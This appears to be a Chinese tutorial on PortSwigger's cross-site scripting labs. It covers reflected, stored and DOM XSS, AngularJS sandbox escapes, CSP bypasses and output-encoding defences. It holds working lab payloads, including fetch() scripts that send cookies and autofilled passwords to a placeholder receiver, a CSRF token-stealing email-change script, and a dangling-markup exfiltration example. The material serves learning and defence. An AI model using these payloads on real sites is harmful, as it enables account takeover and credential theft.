<https://www.leavesongs.com/HTML/sina-jsonp-hijacking-csrf-worm.html>
<https://www.colabug.com/3885838.html>
<http://docs.ioin.in/writeup/threathunter.org/_topic_59a9329cec721b1f1966ea2e/index.html> | 社区文章 |
# 梨子带你刷burpsuite靶场系列之客户端漏洞篇 - 跨站脚本(XSS)专题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 客户端漏洞篇介绍
> 相对于服务器端漏洞篇，客户端漏洞篇会更加复杂，需要在我们之前学过的服务器篇的基础上去利用。
## 客户端漏洞篇 – 跨站脚本(XSS)专题
### 什么是跨站脚本(XSS)?
XSS全称是cross-site
script，burp官方的解释是允许攻击者与应用程序进行交互。攻击者可以利用XSS伪装成受害者，从而利用受害者身份执行其身份下能够执行的任何操作，包括查看其权限下任何数据，所以XSS的危害还是可大可小的，主要取决于受害者的权限大小。
# XSS是怎么攻击的？
XSS就是将恶意的JS脚本投放到受害者端，当受害者端触发到投放的恶意脚本后即会执行攻击者进行构造的操作，从而达到某种恶意目的。
### XSS有哪些种类？
* 反射型XSS，恶意脚本来源于HTTP请求中
* 存储型XSS，恶意脚本来源于Web数据库
* 基于DOM的XSS，仅存在于客户端的漏洞，即与服务器端无任何交互操作
### 反射型XSS
### 什么是反射型XSS？
反射型XSS就是应用程序接收到一个HTTP请求，然后以不安全的方式映射到响应中，例如某应用程序构造以参数值为索引的HTTP请求
`https://insecure-website.com/search?term=gift`
然后应用程序会将参数值拼接到响应中
`<p>You searched for: gift</p>`
现在还属于是正常的参数值，那么如果我们将参数值设置为这个呢
`https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>`
映射到响应中就会变成这样
`<p>You searched for: <script>/* Bad stuff here... */</script></p>`
这条响应如果被受害者打开，在经过浏览器的解析后，遇到闭合的script标签，会将其中内容按照JS脚本来解析，这就使得攻击者达到了其目的，执行了恶意的JS脚本。
### 配套靶场：没有编码操作的HTML上下文中的反射型XSS
首先我们看到一个搜索框
我们输入一个1，然后看看请求和响应是什么样子的
我们发现参数search的值会被映射到响应中，那么我们将其修改为XSS payload呢
我们惊奇地发现参数值被完完整整地映射到响应中，没有经过任何编码处理，如果是在浏览器打开这个响应就可以看到因触发XSS执行了其中的alert函数造成的弹窗
这就表明是存在XSS漏洞的
### 反射型XSS的影响
在了解到了反射型XSS的触发原理后，我们来介绍一下反射型XSS能干些什么
* 执行受害者权限下能执行的任何操作
* 查看受害者权限下能查看的任何数据
* 修改受害者权限下能修改的任何信息
* 以受害者身份与其他用户进行交互
攻击者只需要诱使受害者点击附有反射型XSS payload的链接即会触发
### 如何探测和测试反射型XSS漏洞？
* 测试每一个入口点
* 设置参数值为随机字母数字
* 观察参数值映射到响应中的上下文
* 测试多个payload
* 在不同浏览器中测试payload能否生效
### 反射型XSS和self XSS有什么区别？
攻击者可以通过诱使用户点击链接触发反射型XSS，但是self XSS，顾名思义，只能由受害者自己输入XSS payload才会触发，所以一般self
XSS危害并不大。
### 存储型XSS
### 什么是存储型XSS？
存储型XSS就是应用程序从Web数据库获取数据后以不安全的形式映射到响应中，又称持久性XSS或二阶XSS。比如在某个提交评论的功能点提交评论，请求包是这样的
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
从上面来看，我们提交了这样一条评论：This post was extremely helpful.，因为是评论，所以所有用户都是能接收到这条响应的
`<p>This post was extremely helpful.</p>`
那么如果我们提交一个附有XSS payload的评论呢，用户接收到的响应是这样的
`<p><script>/* Bad stuff here... */</script></p>`
这就导致接收到的用户都会触发XSS，影响范围比反射型要广很多
### 配套靶场：没有编码操作的HTML上下文中的存储型XSS
与上一道靶场一样，这里也是对接收的数据没有任何编码操作的，所以我们直接在评论功能点构造payload
提交这条附有payload的评论以后，能看到这条评论的人都能触发
### 存储型XSS的影响
因为都是XSS，所以存储型XSS的影响与反射型相同。不同的是存储型XSS不需要像发动反射型XSS一样要诱使受害者点击链接，只需要等待受害者进入有存储XSS
payload的页面即可，而且因为只要进入该页面的人都会触发，所以存储型XSS的危害范围是比较广的。
### 如何探测和测试存储型XSS漏洞？
要探测存储型XSS漏洞需要测试所有的有数据存取操作的入口点，包括
* URL查询字符串和消息正文中的参数或其他数据
* URL文件路径
* 与反射 XSS 相关的可能无法利用的 HTTP 请求标头
* 任何可以向应用程序发送数据的带外路由
### 存储型XSS和反射型XSS有什么区别？
虽然两种XSS都会将接收的数据映射到响应中，但是入口点不同，存储型的入口点是数据库，反射型的入口点是HTTP请求
### 基于DOM的XSS
### 什么是基于DOM的XSS？
我们在这里先介绍有关基于DOM的XSS的一些概念，后面会有专题专门讲DOM相关的漏洞，DOM有一个source和sink，可以理解为DOM操作函数的入口点和出口点，基于DOM的XSS就是因为将入口点的输入传递给出口点的时候被出口点函数执行导致的XSS。常见的source就是URL了，搭配window.location对象访问操作sink触发。对于source和sink的攻击，梨子计划在后面的专题中细讲。这里仅讲解XSS相关的。
### 如何测试基于DOM的XSS？
有两种测试方法，分别为
* 测试HTML sink
* 测试JS执行 sink
### 测试HTML sink
测试HTML
sink需要攻击者在sink处(如location.search)填充随机字母数字，然后观察其在HTML页面中的位置。然后观察其上下文，再不断调整payload以观察是否能够将内容从当前标签中脱离出来。
### 测试JS执行sink
测试JS执行sink比测试HTML
sink困难一点，因为可能sink的输入不会显示在页面中，这就需要在sink出下断点进行调试，跟踪变量值的变化，可能sink的输入会赋给其他变量，剩下的操作与上面相同，依然是不断调整输入以触发XSS。
### 通过不同的source和sink利用基于DOM的XSS
能否成功利用基于DOM的XSS还是要看source和sink是否搭配，这是一个组合的问题，后面burp也给出了他们经过测试的一些source和sink的组合。
这里以document.write这个sink为例进行介绍。有的情况是我们写入sink的内容需要先闭合掉前面的元素然后再写我们的payload。
而对于innerHTML这个sink，它不接收script、使用onload事件的svg，所以我们可以用使用onload或onerror事件的img或iframe代替。
如果应用程序使用了js库(如jQuery)，就可以寻找一些可以更改DOM元素的函数，如jQuery中的attr()函数，例如
$(function(){
$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
});
上面可以实现更改锚点(#backLink)的属性href的值为参数returnUrl的值，所以我们可以这样构造payload
`?returnUrl=javascript:alert(document.domain)`
如果使用的是像AngularJS这种框架，就可以在没有尖括号和事件的情况下执行JS。当HTML元素使用ng-app属性时，就会被AngularJS处理，就可以在双花括号内执行JS并且回显在HTML页面或属性中。
下面我们通过5个靶场来深入理解
### 配套靶场1：使用location.search source和document.write sink的DOM XSS
打开页面，f12，发现了这样的代码
从图中看，query的值是从URL参数search中获取并且会不经任何处理就拼接到img标签中，这就需要先提前闭合img标签然后再跟着payload，最后的效果是这样的
这样就会触发XSS了
### 配套靶场2：在select元素内使用location.search source和document.write sink的DOM XSS
我们同样是可以看到这样一段代码
这段代码先会获取URL参数storeId的值然后如果可以获取到值就将其套在option元素中写入到页面中，所以我们可以附加这么一个参数，并将其值设置为XSS
payload
`</select><img%20src=1%20onerror=alert(1)>`
经过这段代码处理后是这样的
这样就会成功触发弹窗了
### 配套靶场3：使用location.search source和innerHTML sink的DOM XSS
同样的，还是看段代码
这里是写入到innerHTML，所以script和svg都无法使用了，所以我们将payload写入URL参数search
这样就可以成功触发XSS了
### 配套靶场4：使用location.search source和jQuery锚点属性sink的DOM XSS
我们在页面中找到了之前提到过的类似的代码
因为修改的是href属性，所以我们可以使用JS伪协议执行XSS payload
这样就又能触发XSS了
### 配套靶场5：带有HTML编码的尖括号和双引号的AngularJS表达式的DOM XSS
因为应用程序会对尖括号和双引号进行HTML编码处理，所以使用这两种符号的payload都不会生效，但是因为使用的是AngularJS框架，所以我们可以利用双花括号构造payload
`{{$on.constructor('alert(1)')()}}`
这样就又可以触发XSS了
### 结合反射型和存储数据的DOM XSS
前面介绍的DOM XSS，source都是从客户端输入的，如果source是HTTP请求或者数据库呢？这就将其提升为反射型DOM XSS和存储型DOM
XSS，下面我们通过两个靶场来深入理解一下
### 配套靶场1：反射型DOM XSS
我们先随便输入点什么，然后搜索，发现代码中出现了一个一开始没见过的js文件
打开这个js文件，有点长，我们一点点来分析，首先看这一段
这一段会发送一个搜索操作的GET请求，并且利用函数displaySearchResults展示搜索结果，下面我们再来分析一下这个函数
我们看到这个函数会将变量searchTerm拼接到一个h1元素中，但是因为是innerText，所以肯定会有些字符被转义，我们需要一点点调试
我们可以看到搜索字符串的值会被赋给searchTerm参数，我们看一下尖括号和双引号会被怎么处理
我们看到双引号会被转义，而尖括号不会，我们看看怎么能避免被转义
发现添加一个右斜杠就可以抵消转义，成功触发XSS
### 配套靶场2：存储型DOM XSS
同样的，我们发现了这样一个文件
然后我们打开这个文件，文件的前面部分和上面的类似，我们重点分析后面的函数
我们看到虽然代码会对尖括号进行HTML编码，但是只进行一次这个操作，所以我们可以利用一对尖括号使用掉这个操作，保护后面的尖括号，所以我们在评论提交点这样构造payload
这样我们就又能成功触发XSS了
### 哪些sink可以用来触发DOM XSS漏洞呢？
burp总结了一些可以用来触发DOM XSS漏洞的sink
* document.write()
* document.writeln()
* document.domain
* element.innerHTML
* element.outerHTML
* element.insertAdjacentHTML
* element.onevent
如果遇到使用jQuery的应用程序，还有一些扩展的sink
* add()
* after()
* append()
* animate()
* insertAfter()
* insertBefore()
* before()
* html()
* prepend()
* replaceAll()
* replaceWith()
* wrap()
* wrapInner()
* wrapAll()
* has()
* constructor()
* init()
* index()
* jQuery.parseHTML()
* $.parseHTML()
### 如何缓解DOM XSS漏洞？
因为上面讲了，存在很多可以触发DOM XSS的source和sink对，那我们缓解这种漏洞的措施就是尽量阻止任何不受信任的source和sink操作。
### XSS可以用来做什么？
* 冒用受害者身份
* 执行受害者能够执行的任何操作
* 访问受害者能访问的任何数据
* 窃取用户登录凭证
* 篡改网页内容
* 向网页挂马
### XSS漏洞的利用
### 利用XSS窃取cookie
有些应用程序仅使用cookie进行会话处理，所以我们可以利用XSS窃取受害者的cookie然后将其发到指定的地址，然后可以通过替换cookie的方式伪装成受害者进行操作，但是这种利用手段还是存在一些失败的可能性的
* 受害者可能并未登录
* 有些应用程序通过HttpOnly标志对JS隐藏cookie
* 有些应用程序可能将会话与某些唯一标识信息(如IP)绑定
* 会话可能已过期
### 配套靶场：利用XSS窃取cookie
我们先在burp collaborator复制一个临时的接收地址
然后我们在评论点构造payload，使用fetch函数发出POST请求，设置请求主体为当前用户的cookie，然后发送到临时的接收地址
<script>
fetch(
'[临时的接收地址]',{
methoed:'POST',
mode:'no-cors',
body:document.cookie
}
);
</script>
接着我们看一下接收端
看到我们成功窃取到cookie，就可以替换现有的cookie伪装成受害者登录了
### 利用XSS窃取密码
很多浏览器都会有自动填写功能，我们可以利用这个特点窃取用户密码，下面我们直接通过一道靶场来深入理解
### 配套靶场：利用XSS窃取密码
因为要监控输入框的变化，所以我们引入了onchange事件，于是我们这样构造paylaod
<input name=username id=username>
<input type=password name=password
onchange="
if(this.value.length)
fetch('[临时的接收地址]',{
method:'POST',
mode:'no-cors',
body:username.value+':'+this.value
}
);
"
>
然后我们查看一下接收端
看到我们成功地获取到了用户名和密码，就可以直接登录受害者用户，成功率会比窃取cookie高一些
### 利用XSS发动CSRF
burp将CSRF专题放在本专题后面，所以到后面再详细讲解CSRF，现在我们只讲解这种XSS利用手段，前面有介绍过，XSS可以用来执行受害者能执行的任何操作，包括发送好友请求、转移用户资产、修改身份信息等。这种借他人之手执行的操作就是CSRF，虽然有一些应用程序会通过引入防CSRF攻击令牌的方式进行缓解，但是如果可以利用XSS窃取到该令牌，则这种缓解措施也会随即失效，下面我们同样是通过一道靶场来深入理解。
### 配套靶场：利用XSS发动CSRF
首先我们利用提供的账号登录，然后找到修改邮箱的请求包，发现主体有两个参数email和csrf，所以我们需要构造payload获取csrf才能成功利用XSS发动CSRF，例如
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', 'email/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>
当用户触发了这个XSS的时候就会发动CSRF修改邮箱为指定邮箱了，因为这道靶场修改邮箱不需要验证任何东西
### 通过XSS上下文探测反射型和存储型XSS漏洞
为了探测反射型和存储型XSS漏洞，我们通常是在任何可以的入口点随便输入一个字符串，然后观察其反馈在响应中位置的上下文，基于不同情况的上下文可以选择不同种类的payload，这里burp提供了一个非常强大的[XSS
payload宝典](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)。burp将上下文分为以下几种
* 在HTML标签中的XSS
* 在HTML标签属性中的XSS
* JS中的XSS
下面我们从以上三个小节来分别介绍
### 在HTML标签中的XSS
这种上下文是最常见的，我们只需要引入一些可以执行JS的HTML标签即可，例如
<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>
下面我们通过几道靶场来深入理解
### 配套靶场1：大部分标签和属性被禁用的HTML上下文中的反射型XSS
因为题目说禁用了大部分的标签和属性，所以我们需要做一个fuzz测试，于是我们将搜索的包发到Intruder，设置变量位
然后我们到前面提到的XSS payload宝典复制标签列表
可以看到一共157个标签，开始fuzz
好家伙，只有一个标签是没有被禁用的，接着我们开始fuzz可用的属性
好，我们也是只的到一个可用的属性onresize，于是我们可以这样构造payload
经过两次fuzz测试成功构造可以触发XSS的payload
### 配套靶场2：除了自定义标签外的全部标签被禁用的HTML上下文中的反射型XSS
因为禁用了所有的标签，所以我们只能使用自定义标签了，于是我们这样构造payload
因为自定义标签是没有被禁用的，所以我们又可以成功触发XSS了
### 配套靶场3：事件处理器和属性href被禁用的反射型XSS
题目说题目设置了一些白名单标签，并且禁用了所有的事件和锚点href属性，所以我们还是要fuzz看一下有哪些白名单标签
虽然有很多个标签都在白名单中，但是查阅了XSS payload宝典以后发现只有一种payload可以使用
于是我们这样构造payload
然后点击”Click Me”触发XSS
### 配套靶场4：允许一些SVG标记的反射型XSS
同样的，因为不知道哪些标记允许，所以我们还是要fuzz一下
得知这些标签是允许的，然后再fuzz可用的事件
接下来就可以构造payload了
这样就可以触发XSS了
### 在HTML标签属性中的XSS
如果上下文在HTML标签属性中，我们可以通过提前闭合标签然后引入新标签的方式触发XSS。例如
`"><script>alert(document.domain)</script>`
如果尖括号被禁用或者编码处理，我们可以通过引入事件触发XSS。例如
`" autofocus onfocus=alert(document.domain) x="`
还有一些特殊情况，比如上下文在锚点href中，可以利用JS伪协议触发XSS。例如
`<a href="javascript:alert(document.domain)">`
还有一种方法是很特殊的，它不会自动触发，而是当监控到键入了某个键盘组合才会触发，所以更为隐蔽。下面我们通过几道靶场来深入理解上述情况
### 配套靶场1：尖括号被HTML编码的属性中的反射型XSS
因为尖括号会被HTML编码，所以我们在XSS payload宝典中查找适用于input标签的不需要尖括号就能触发XSS的payload
因为我们观察到输入内容会被自动包裹在一对双引号中，所以我们利用前后各一个双引号抵消掉它们
这样就可以成功触发XSS了
### 配套靶场2：双引号被HTML编码的锚点href属性中的存储型XSS
经过查找，发现评论提交点中会把网址一栏的内容套在href中，所以我们可以利用JS伪协议构造payload
这样就可以触发XSS了
### 配套靶场3：规范链接标签中的反射型XSS
题目提示这种攻击方法只能在chrome中生效，然后我们在XSS payload宝典中搜索关键词(canonical)，找到这两条payload
所以我们这样构造payload
这里我们设置的快捷键为X键，但是不同操作系统的快捷键组合不太一样，例如
Windows: ALT+SHIFT+X
MacOS: CTRL+ALT+X
Linux: Alt+X
按下对应的快捷键以后就会触发XSS了
### JS中的XSS
当上下文在JS中时，我们需要用不同的手段来触发XSS，有这样几种手段
* 终止现存的脚本
* 逃逸出JS字符串
* 利用HTML编码
* JS模板文字中的XSS
### 终止现存的脚本
和之前的手段类似，当上下文在script标签中时，我们需要先提前闭合掉script标签，然后再插入XSS payload。
### 配套靶场：单引号和反斜杠被转义的JS中的反射型XSS
我们先观察一下查询后的上下文
然后我们这样构造payload
经过这么一提前闭合，上下文的JS就失效了，然后我们插入的新的JS就可以触发XSS了
### 逃逸出JS字符串
如果上下文是单引号的情况下，可以利用一些手段逃逸出来直接执行JS，例如
'-alert(document.domain)-'
';alert(document.domain)//
* * *
有的应用程序会通过添加反斜杠的方式将其中的单引号转义，但是单引号并不会被转义，所以我们可以再添加一个反斜杠抵消掉它的转义作用，比如我们输入
`';alert(document.domain)//`
被系统转义后变成了
`\';alert(document.domain)//`
但是如果我们将输入改成
`\';alert(document.domain)//`
被系统处理以后就变成了
`\\';alert(document.domain)//`
再一次成功逃逸出来触发XSS
* * *
有的应用程序连括号都不让用，但是还是有办法绕过的，可以使用异常处理事件throw向onerror指定的函数传参以触发XSS，例如
`onerror=alert;throw 1`
下面我们通过几个靶场来深入理解上面这些手段
### 配套靶场1：尖括号被HTML编码的JS中的反射型XSS
因为尖括号被HTML编码，所以我们需要另辟蹊径，于是我们利用前面讲的利用减号和反斜杠进行逃逸
以上三种方法都可以成功触发XSS
### 配套靶场2：尖括号和双引号被HTML编码并且单引号被转义的JS中的反射型XSS
这一道靶场的防护手段还挺多的，但是我们讲过了，只有单引号被转义，所以我们还可以这样构造payload
这样就成功逃逸出来触发XSS了
### 配套靶场3：一些字符被禁用的JS URL中的反射型XSS
因为一些字符被禁用了，所以之前的手段全都失效了，这里官网提供了一款payload
我们先放到burp里解一下URL编码
这段payload比较复杂，我们一点点来讲解。它打算使用throw触发XSS，但是空格被禁止了，所以我们利用空白的注释来生成空格。然后又因为throw只有在代码块中才会被执行，所以我们需要创建一个箭头函数。为了能够调用它，我们需要制造一个强制转换字符串引发的报错，所以把箭头参数x再赋给window的toString。而且这段代码只有在返回到首页的时候才会触发。
### 利用HTML编码
前面我们遇到HTML编码的情况一般就是选择了放弃，但是还是有些特殊情况的，比如我们的输入会包裹在onclick事件中时，它会对HTML编码进行解码操作，从而触发XSS。下面我们通过一道靶场来深入理解
### 配套靶场：尖括号和双引号被HTML编码并且单引号和反斜杠被转义的onclick事件中的存储型XSS
好家伙，这回防护得太彻底了吧，但是我们发现网址一栏提交以后上下文被包裹在onclick事件中，所以我们可以利用其特性将HTML编码进行解码操作
提交以后观察一下效果
发现真的把之前遇到就会放弃的HTML编码解码了
### JS模板文字中的XSS
JS模板文字就是可以在反引号包裹的字符串中嵌入JS表达式，其语法像这样
`${...}`
那么嵌入payload的JS模板文字就像这样
`${alert(document.domain)}`
### 配套靶场：尖括号，单双引号，反斜杠和反引号被Unicode转义的JS模板文字中的反射型XSS
这么多符号都被Unicode转义了，我们先观察一下上下文是什么样的
发现输入被包裹在反引号中，所以我们可以利用JS模板文字构造payload
这样就又可以触发XSS了
### AngularJS沙箱
### 什么是AngularJS沙箱？
AngularJS沙箱是一种防护机制，可以防止在AngularJS模板表达式中访问不安全的对象，如document和window，还有不安全的属性，如__proto__。近些年无数安全研究者开始研究如何绕过AngularJS沙箱，虽然该功能在AngularJS
1.6中被删掉了，但是还有大量的应用程序正在使用旧版本的AngularJS。
### AngularJS沙箱是如何运作的？
沙箱的工作原理就是解析表达式，然后重写JS，再使用各种函数测试重写后是否还包含不安全的对象，例如ensureSafeObject()函数会检查指定对象是否引用了自己，可以用来检测window对象，同样适用于检测Function构造器。
ensureSafeMemberName()函数会检查指定对象的所有属性，例如遇到__proto__
或__lookupGetter__这类危险属性就会禁止该对象。ensureSafeFunction()函数可以禁止调用call()、apply()、bind()、constructor()函数。
### AngularJS沙箱逃逸是怎么实现的？
沙箱逃逸就是诱使沙箱引擎将恶意表达式识别为无害的。比较常见的逃逸手段就是在表达式中全局使用魔改过的charAt()函数，例如
`'a'.constructor.prototype.charAt=[].join`
从上面来看，我们将charAt()函数重写成了[].join，即会返回所有输入的内容，而不是过滤后的。还有一个函数isIdent()，它可以将单个字符与多个字符相比，因为单个字符永远比多个字符少，所以可以导致它永远返回true。例如
isIdent= function(ch) {
return ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
'_' === ch || ch === '$');
}
isIdent('x9=9a9l9e9r9t9(919)')
所以我们可以利用AngularJS的$eval()函数和魔改后的charAt()函数构造这样的payload以进行沙箱逃逸
`$eval('x=alert(1)')`
### 构造高级的AngularJS沙箱逃逸
有的站点可能防护做的更好，就需要构造高级的沙箱逃逸，比如如果禁用了单或双引号就需要用String.fromCharCode()来构造。而且我们还可以用orderBy过滤器来代替$eval()来执行XSS
payload，语法像这样的
`[123]|orderBy:'Some string'`
在这里，这个符号(|)起到一个传递作用，把左边数组发到右边的过滤器的这么一个作用，冒号代表传递到过滤器的参数。这么讲可能不太直观，下面我们通过一道靶场来直观地讲解。
### 配套靶场：没有字符串的AngularJS沙箱逃逸中的反射型XSS
我们先确定一下查询字符串的上下文
前面提到了这里无法直接使用字符串和$eval()，所以我们需要结合上面介绍的沙箱逃逸手段来构造字符串。
这样我们就能成功实现沙箱逃逸并且触发XSS了
### 绕过AngularJS CSP是如何实现的？
CSP全称content security
policy，译为内容安全策略，我们在下一个小节就会讲到了。绕过CSP的原理与沙箱逃逸类似，但是绕过CSP会涉及一些HTML注入。CSP开启时会用不同方式解析表达式并且避免使用Function构造函数。那么上面讲过的沙箱逃逸手段就失效了。
AngularJS定义了自己的事件以替代JS事件，在事件内部时，它定义了一个特殊的$event
对象，它只引用浏览器事件对象。可以用它来实现绕过CSP。在Chrome中，它有一个特殊的属性path，它包含了可以导致执行事件的对象数组。这个数组最后一个属性永远是window对象。我们可以将这个对象数组传递给过滤器，然后利用最后一个元素执行全局函数(如alert)。payload示例如下
`<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">`
这里的from函数可以将对象转换成数组，并将每个元素都调用给该函数第二个参数指定的函数。而且from函数还可以在沙箱中隐藏window对象以成功执行。
### 利用AngularJS沙箱逃逸绕过CSP
burp又加大了难度，限制了payload的长度，所以上述手段又失效了，我们需要换一种方法隐藏window对象。我们可以使用array.map()函数，payload示例如下
`[1].map(alert)`
map()函数会将数组中每个元素都调用给参数指定的函数。因为没有引用window对象，所以这种方法是可行的。
### 配套靶场：AngularJS沙箱逃逸和CSP中的反射型XSS
因为既要沙箱逃逸又要绕过CSP，所以我们采用复合型payload
我们把payload做个URL解码看得比较直观
我们看到了首先使用了$event对象的path对象绕过CSP，然后利用orderBy沙箱逃逸，成功触发XSS
### 如何缓解AngularJS注入攻击？
想要缓解AngularJS注入攻击，需要避免使用不安全的用户输入作为模板或表达式。
### 内容安全策略(Content security policy)
### 什么是CSP(Content security policy)？
CSP是一种浏览器安全机制，旨在缓解XSS攻击和一些其他攻击。它通过限制页面可以加载的资源以及限制页面是否可以被其他页面框架化的方式来进行防护。如果要启用CSP，需要在响应包头中加一个字段Content-Security-Policy，其中包括以分号间隔的指令。
### 使用CSP缓解XSS攻击
CSP通过这样的指令限制只能加载与页面本身相同来源的资源
`script-src 'self'`
通过下面的指令限制只能从指定域中加载资源
`script-src https://scripts.normal-website.com`
但是这种允许外部域的做法还是有风险的，如果攻击者可以向其传递恶意脚本也会遭到攻击的。而且应该也同时不信任来自CDN的资源，因为也有被投放的风险。CSP还通过随机数和哈希值来指定可信资源。
* CSP的指令指定一个随机数，加载脚本的标签也必须有相同的随机数。否则就不执行该脚本。并秉持一次性的原则，避免被猜解。
* CSP指令可以指定脚本内容的哈希值。不匹配也是不会执行的。
虽然CSP通常可以阻止脚本，但是经常不会禁止加载图片资源，这就导致可以利用img标签窃取CSRF令牌。有些浏览器比如chrome，就有内置的悬空标记缓解功能，这个功能可以阻止包含某些字符的请求，比如换行符、未编码的新一行符或者尖括号。还有一些策略更为严格，可以防止所有形式的外部请求。但是还是可以通过注入一个HTML元素，点击该元素就会将该元素包含的所有内容发送到外部服务器的方式绕过这种策略。下面我们通过几道靶场来深入理解。
### 配套靶场1：利用悬挂标记攻击的受保护的CSP中的反射型XSS
首先我们观察一下修改邮箱的表单要提交哪些信息
我们现在要做的就是利用悬挂标记攻击将CSRF Token窃取出来，所以我们这样构造payload
然后我们接收到这样的内容
这里简单介绍一下悬挂标记攻击，就是利用标签必须闭合的特性，使用未闭合的标签将后面的内容全都包裹起来发送到目标服务器的这么一种攻击手段。现在我们获取到了一个有效的csrf令牌，然后我们利用burp的Engagement
tools -> Generate CSRF PoC功能生成CSRF页面，然后在Option中选中Include auto-submit
script，重新生成一下，这样用户只需要点击链接就会自动发出请求。
这样，当受害者接收到以后就会自动修改邮箱了
### 配套靶场2：利用悬挂标记攻击的受非常严格保护的CSP中的反射型XSS
首先我们可以从响应包中看到当前CSP都开启了哪些策略
所以这里我们只能使用HTML注入了
又一次利用悬挂标记攻击窃取到CSRF令牌，然后用相同的办法触发CSRF
### 使用CSP缓解悬挂标记攻击
从上面来看，一般是采用img标签发动悬挂标记攻击，所以我们这样设置CSP策略
img-src 'self'
img-src https://images.normal-website.com
但是上述手段并不能阻止通过注入带有悬空href属性的锚点的方式发动的悬挂标记攻击。
### 通过策略注入绕过CSP
有些情况是我们可以注入一些我们自己的策略去覆盖原来的CSP策略指令。一般来讲是不可能覆盖掉指令script-src的，但是chrome引入了指令script-src-elem，可以控制脚本元素但不能控制事件。不过它可以覆盖掉指令script-src。
### 配套靶场：绕过受保护的CSP中的反射型XSS
我们先看一下CSP策略
发现最后一个指令report-uri是动态的，可以通过token值来添加新的CSP指令，所以我们这样构造payload
这样我们就又可以插入script，从而成功触发XSS了
### 使用CSP保护免受点击劫持攻击
点击劫持就是误导用户点击透明的按钮发出恶意请求，所以我们可以这样设置CSP策略
frame-ancestors 'self'
frame-ancestors 'none'
frame-ancestors 'self' https://normal-website.com https://*.robust-website.com
这种保护手段比X-Frame-Options要好，因为CSP会验证父框架下的每个子框架，而X-Frame-Options只验证顶级框架。不过也可以两者结合着用，因为IE不支持CSP。
### 悬挂标记注入
### 什么是悬挂标记注入？
悬挂标记注入是一种在无法进行完整XSS攻击的情况下捕获跨域数据的技术。我们来看这样一条代码
`<input type="text" name="input" value="CONTROLLABLE DATA HERE`
然后我们让这个标签提前闭合，然后后面跟上这样的语句
`"><img src='//attacker-website.com?`
我们看到这个img标签是没有闭合的，既然是没有闭合，它就会一直找下去，直到找到可以闭合的单引号为止，这样就会把后面的东西全都包裹到img标签中，然后因为src属性，会发出一个请求，而后面包裹进来的东西也会整体附在URL后面发出去，这样我们可能会得到很多我们想要的数据，比如CSRF
Token之类的。
### 如何缓解XSS攻击？
### 将输出数据编码处理
在用户输入写入页面之前就应该执行编码操作，而且不同的上下文，编码方式不同，比如上下文为HTML时
< 编码成 <
> 编码成 >
上下文为JS时
< 编码成 \u003c
> 编码成 \u003e
有的时候还需要按顺序进行多层编码处理以防止出现像onclick事件的情况。
### 验证输入
因为我们永远不知道用户输入有多奇葩，所以我们需要尽量严格地验证输入，比如采取这样的措施
* 如果响应会返回提交的URL，则验证是不是HTTP或HTTPS开头的
* 如果预期输入是数字，则验证输入是否为整数
* 验证输入中包含的字符是否均为允许的字符
### 白名单还是黑名单？
一般情况下都会选择白名单，因为如果使用黑名单的话，永远不知道有没有遗漏，俗话说，宁可错杀一千不放过一个嘛。
### 允许安全的HTML
应尽可能地限制使用HTML标记，应该过滤到有害的标签和JS，也可以引入一些执行过滤和编码的JS库，如DOMPurify。有些库还允许用户使用markdown来编写内容再渲染成HTML，但是这些库都不是绝对的安全，所以要及时更新。
### 如何使用模板引擎缓解XSS攻击？
有些网站使用Twig和Freemarker等服务器端模板引擎在HTML中嵌入动态内容，他们都有自己的过滤器，还有一些引擎，比如Jinja和React，它们默认情况下就会转义动态内容，一定程度上也会缓解XSS攻击。
### 如何在PHP中缓解XSS攻击？
可以利用内置的HTML编码函数htmlentities，它有三个参数分别为
* 输入字符串
* ENT_QUOTES，编码所有引号标志
* 字符集，一般为UTF-8
用例如下
`<?php echo htmlentities($input, ENT_QUOTES, 'UTF-8');?>`
但是PHP没有内置的针对JS编码的Unicode函数，但是burp给出了一个示例
<?php
function jsEscape($str) {
$output = '';
$str = str_split($str);
for($i=0;$i<count($str);$i++) {
$chrNum = ord($str[$i]);
$chr = $str[$i];
if($chrNum === 226) {
if(isset($str[$i+1]) && ord($str[$i+1]) === 128) {
if(isset($str[$i+2]) && ord($str[$i+2]) === 168) {
$output .= '\u2028';
$i += 2;
continue;
}
if(isset($str[$i+2]) && ord($str[$i+2]) === 169) {
$output .= '\u2029';
$i += 2;
continue;
}
}
}
switch($chr) {
case "'":
case '"':
case "\n";
case "\r";
case "&";
case "\\";
case "<":
case ">":
$output .= sprintf("\\u%04x", $chrNum);
break;
default:
$output .= $str[$i];
break;
}
}
return $output;
}
?>
用例如下
`<script>x = '<?php echo jsEscape($_GET['x'])?>';</script>`
当然，也可以使用模板引擎。
### 如何在客户端缓解JS中的XSS攻击？
JS既没有内置的HTML编码函数也没有内置的Unicode编码函数，但是burp依然给出了示例，首先是HTML编码函数
function htmlEncode(str){
return String(str).replace(/[^\w. ]/gi, function(c){
return '&#'+c.charCodeAt(0)+';';
});
}
用例如下
`<script>document.body.innerHTML = htmlEncode(untrustedValue)</script>`
然后是Unicode编码函数
function jsEscape(str){
